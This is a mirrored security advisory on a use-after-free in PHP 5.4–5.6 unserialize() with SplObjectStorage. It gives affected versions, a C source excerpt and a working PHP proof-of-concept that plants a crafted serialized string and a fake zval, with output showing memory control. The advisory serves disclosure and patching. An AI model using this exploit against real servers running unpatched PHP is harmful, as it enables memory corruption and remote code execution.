Lucene search
K

PHP 5.6 / 5.5 / 5.4 SplOnjectStorage unserialize() Use-After-Free

🗓️ 07 Sep 2015 00:00:00Reported by Taoguang ChenType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 25 Views

PHP 5.6 / 5.5 / 5.4 SplOnjectStorage unserialize() Use-After-Free vulnerability in __wakeup() metho

Code
`#Yet Another Use After Free Vulnerability in unserialize() with SplObjectStorage  
  
Taoguang Chen <[@chtg](http://github.com/chtg)> - Write Date:  
2015.8.27 - Release Date: 2015.9.4  
  
> A use-after-free vulnerability was discovered in unserialize() with SplObjectStorage object's deserialization and crafted object's __wakeup() magic method that can be abused for leaking arbitrary memory blocks or execute arbitrary code remotely.  
  
Affected Versions  
------------  
Affected is PHP 5.6 < 5.6.13  
Affected is PHP 5.5 < 5.5.29  
Affected is PHP 5.4 < 5.4.45  
  
Credits  
------------  
This vulnerability was disclosed by Taoguang Chen.  
  
Description  
------------  
  
```  
ALLOC_INIT_ZVAL(pentry);  
if (!php_var_unserialize(&pentry, &p, s + buf_len, &var_hash TSRMLS_CC)) {  
zval_ptr_dtor(&pentry);  
goto outexcept;  
}  
if(Z_TYPE_P(pentry) != IS_OBJECT) {  
goto outexcept;  
}  
ALLOC_INIT_ZVAL(pinf);  
if (*p == ',') { /* new version has inf */  
++p;  
if (!php_var_unserialize(&pinf, &p, s + buf_len, &var_hash TSRMLS_CC)) {  
zval_ptr_dtor(&pinf);  
goto outexcept;  
}  
}  
```  
  
It has been demonstrated many times before that __wakeup() leads to  
ZVAL is freed from memory. However during deserialization will still  
allow to use R: or r: to set references to that already freed memory.  
It is possible to use-after-free attack and execute arbitrary code  
remotely.  
  
Proof of Concept Exploit  
------------  
The PoC works on standard MacOSX 10.11 installation of PHP 5.6.12.  
  
```  
<?php  
  
class obj {  
var $ryat;  
function __wakeup() {  
$this->ryat = 1;  
}  
}  
  
$fakezval = ptr2str(1122334455);  
$fakezval .= ptr2str(0);  
$fakezval .= "\x00\x00\x00\x00";  
$fakezval .= "\x01";  
$fakezval .= "\x00";  
$fakezval .= "\x00\x00";  
  
$inner = 'x:i:1;O:8:"stdClass":0:{},i:1;;m:a:0:{}';  
$exploit = 'a:5:{i:0;i:1;i:1;C:16:"SplObjectStorage":'.strlen($inner).':{'.$inner.'}i:2;O:3:"obj":1:{s:4:"ryat";R:3;}i:3;R:6;i:4;s:'.strlen($fakezval).':"'.$fakezval.'";}';  
  
$data = unserialize($exploit);  
  
var_dump($data);  
  
function ptr2str($ptr)  
{  
$out = '';  
for ($i = 0; $i < 8; $i++) {  
$out .= chr($ptr & 0xff);  
$ptr >>= 8;  
}  
return $out;  
}  
  
?>  
```  
  
Test the PoC on the command line:  
  
```  
$ php uafpoc.php  
array(5) {  
[0]=>  
int(1)  
[1]=>  
&int(1)  
[2]=>  
object(obj)#3 (1) {  
["ryat"]=>  
&int(1)  
}  
[3]=>  
int(1122334455) <=== so we can control the memory and create fake ZVAL :)  
[4]=>  
string(24) "?v?B????"  
}  
```  
  
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation